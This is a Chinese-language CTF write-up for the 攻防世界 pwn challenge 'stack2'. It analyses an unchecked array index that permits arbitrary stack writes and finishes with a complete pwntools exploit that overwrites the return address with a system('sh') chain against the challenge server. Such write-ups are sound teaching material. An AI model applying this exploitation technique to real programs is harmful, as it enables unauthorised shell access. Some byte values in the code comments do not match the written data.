来自攻防世界的 pwn 题:stack2。
主要是分析得到题目漏洞,利用漏洞构建转移链。
分析程序
checksec 分析:
1
2
3
4
5
6
|
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
x86 程序带 canary、NX 和 partial RELRO(没用的机制)。
运行程序能发现这实际上是简易的求平均数程序。
开头这里,i <= 99 使得程序写入数据是有限的。
1
2
3
4
5
6
|
puts("Give me your numbers");
for ( i = 0; i < v5 && i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
|
程序一共有4 个小部分:
显示数字
1
2
3
4
5
|
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, (char)v13[k]);
|
只是便利输出数字,没有漏洞。
添加数字
1
2
3
4
5
6
7
8
9
|
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 99 )
{
v3 = j++;
v13[v3] = v7;
}
|
同上,因为限制数字个数,无法无限写。
改变数字
1
2
3
4
5
6
7
|
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
|
这里 v5 是整形,而可以修改 v13 作为偏移量的数据,一次写入一字节(v13 数据类型为 _BYTE)。
v5 没有限制,而 v13 是栈上的数据,显然可以在栈上自由跳转,比如跳转到最后返回地址的栈帧地址上,然后写入一字节的数据。
得到平均数
1
2
3
4
5
|
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += (char)v13[m];
|
就是利用偏移量计算平均数,没什么稀奇。
显然,能够利用的就只有改变数字那块进行栈上任意写,不过也够用了。
看一下字符串表,发现有 /bin/bash 在 hackhere 函数内,可惜靶机上没有 bash,只有 sh ,但可以利用片段获得 sh,如果最后返回地址改写为 hackhere 那么是无法获得 shell 的。
利用
最开始有提到, main 函数的返回汇编有些奇怪,为了获得 ebp 和 return address 的偏移量,可以利用 pwndbg 去截取。
通过反汇编 main 函数,找到 main 函数初始化后的地址打断点,比如:
1
|
0x080485fb <+43>: call 0x8048470 <setvbuf@plt>
|
获得此时的基址 ebp
1
2
|
pwndbg> info reg ebp
ebp 0xffffcb68 0xffffcb68
|
返回地址会在执行到 ret 的时候被 esp 指向,所以在 ret 处打断点:
1
2
3
4
5
|
0x080488ef <+799>: lea esp,[ecx-0x4]
0x080488f2 <+802>: ret
End of assembler dump.
pwndbg> b *0x080488f2
Breakpoint 2 at 0x80488f2
|
继续运行,然后到 5.exit 退出循环进入 ret 。
获得此时 esp 地址:
1
2
|
pwndbg> info reg esp
esp 0xffffcb7c 0xffffcb7c
|
两者相减为 0x14。
回到改变数字的选项代码:
1
2
3
4
5
6
7
|
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
|
这里的 v13 从 ida 可以看到在 ebp - 70 的位置,汇编也能说明一些问题:
1
|
0x0804884d <+637>: mov BYTE PTR [ebp+eax*1-0x70],dl
|
而它与返回地址的相对位置为 : 0x70 + 0x14 = 0x84。
由此就可以开始修改返回地址了。上文说到 hackhere 这个函数实际上是没什么用的,所以应该要利用 system@plt 来构造返回链接。
因为跳转不会修改到 canary 值所以不会受到影响。
接下来就是 ret2libc 的基本操作了。
需要构造的 ROP 链为:
1
|
system@plt addr + return address + sh addr
|
可以写成一个函数来方便调用:
1
2
3
4
|
def write_addr(offset: bytes, data: bytes):
io.sendlineafter(b"5. exit", b"3")
io.sendlineafter(b"number to change:", offset)
io.sendlineafter(b"new number:", data)
|
需要注意程序中的 scanf 只支持十进制,所以需要对地址修改,且因为 x86 是小端序,所以要从后往前写入数据。
整体写入过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# 构造 system、return addr、arg(command) 链
# system@plt 0x08048450
write_addr(b"132", b"80") # 0x84 0x50
write_addr(b"133", b"132") # 0x85 0x84
write_addr(b"134", b"4") # 0x86 0x04
write_addr(b"135", b"8") # 0x87 0x80
# fake_ret main 0x080485d0
write_addr(b"136", b"208") # 0x88 0xd0
write_addr(b"137", b"133") # 0x89 0x85
write_addr(b"138", b"4") # 0x8a 0x04
write_addr(b"139", b"8") # 0x8b 0x08
# sh 0x08048987
write_addr(b"140", b"135") # 0x8c 0x87
write_addr(b"141", b"137") # 0x8d 0x89
write_addr(b"142", b"4") # 0x8e 0x04
write_addr(b"143", b"8") # 0x8f 0x08
|
最开始要先写下没用的数据:
1
2
|
io.sendlineafter(b"you have:", b"1")
io.sendlineafter(b"numbers", b"1")
|
最终 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
from pwn import *
context(arch="i386", os="linux", log_level="info")
#io = process("./3fb1a42837be485aae7d85d11fbc457b")
io = connect("61.147.171.105", 52995)
"""
main 函数返回的汇编,还要有偏移量
leave
lea esp,[ecx-0x4]
ret
main 内 ebp 0xffffcb68 即 save ebp 的值
ret 下 esp 0xffffcb7c 即 return addr 的值
save EBP 和 return address : 0x14
"""
hackhere_addr = 0x804859B
io.sendlineafter(b"you have:", b"1")
io.sendlineafter(b"numbers", b"1")
def write_addr(offset: bytes, data: bytes):
io.sendlineafter(b"5. exit", b"3")
io.sendlineafter(b"number to change:", offset)
io.sendlineafter(b"new number:", data)
# 构造 system、return addr、arg(command) 链
# system@plt 0x08048450
write_addr(b"132", b"80") # 0x84 0x50
write_addr(b"133", b"132") # 0x85 0x84
write_addr(b"134", b"4") # 0x86 0x04
write_addr(b"135", b"8") # 0x87 0x80
# fake_ret main 0x080485d0
write_addr(b"136", b"208") # 0x88 0xd0
write_addr(b"137", b"133") # 0x89 0x85
write_addr(b"138", b"4") # 0x8a 0x04
write_addr(b"139", b"8") # 0x8b 0x08
# sh 0x08048987
write_addr(b"140", b"135") # 0x8c 0x87
write_addr(b"141", b"137") # 0x8d 0x89
write_addr(b"142", b"4") # 0x8e 0x04
write_addr(b"143", b"8") # 0x8f 0x08
io.sendlineafter(b"5. exit", b"5")
io.interactive()
|